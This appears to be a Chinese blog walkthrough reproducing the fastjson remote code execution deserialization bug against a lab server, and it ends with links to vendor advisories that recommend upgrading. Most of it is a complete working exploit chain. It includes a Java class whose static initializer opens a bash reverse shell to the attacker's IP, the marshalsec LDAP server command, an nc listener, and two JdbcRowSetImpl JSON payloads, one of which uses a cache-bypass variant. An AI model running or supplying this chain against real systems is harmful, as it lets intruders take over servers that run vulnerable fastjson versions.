fastjson =< 1.2.51 反序列化漏洞实战复测
0x00:漏洞情况
前2周接到外部安全厂商阿里开源组件fastjson爆发高危漏洞预警,该漏洞可通过恶意构造Paylod发送JSON请求对系统进行远程代码执行,可导致直接获取服务器权限。前边很久之前对漏洞进行复测,确认通过该漏洞可直接获取服务器权限,漏洞风险高。
上边文章的介绍采用的是rmi的方式进行监听反弹,无奈没复测成功。今天将漏洞的ldap方式利用过程写成博客记录下形成笔记。
影响版本fastjson < 1.2.51.
安全版本fastjson >= 1.2.51
0x01:漏洞复现过程
演示环境信息:
攻击者机器:172.28.37.102
JDK版本:1.8.0_25
受害者:10.18.19.46:8080
fastjson-1.2.44.jar
1、准备文件放置到web目录下:Exploit.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class Exploit{ public Exploit() {} static { try { String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe","/c", "calc.exe"} : new String[]{"bash", "-c", "/bin/bash -i >& /dev/tcp/172.28.37.102/7777 0>&1"}; Runtime.getRuntime().exec(cmds); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { Exploit e = new Exploit(); System.out.println("hello world"); } } |
2、攻击机器运行python快速形成http服务器:
1
|
python -m SimpleHTTPServer 8888 |
3、修改并编译上边的Exploit.java文件源代码将反弹shell的地址修改好,拷贝Exploit.class放在这个快速构建http服务器的web根目录
4、启动ldap服务,监听1389端口:
1
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.28.37.102:8888/#Exploit |
5、执行监听:
1
|
nc -lvp 7777 |
6、 通过JSON请求发送数据包攻击服务器,获取服务器权限。修改抓到json的请求包,为以下内容。
1
|
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.28.37.102:1389/Exploit","autoCommit":true} |
成功攻击服务器获取服务器权限。
0x03: 外部漏洞预警
国家信息安全漏洞库:http://www.cnnvd.org.cn/web/bulletin/bulletinById.tag?mkid=150
阿里云:https://help.aliyun.com/noticelist/articleid/1060026793.html
官方漏洞公告提示升级fastjson组件:https://github.com/alibaba/fastjson/wiki/update_faq_20190722
原文连接:http://www.mianhuage.com/945.html
"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:8088/TouchFile","autoCommit":true}}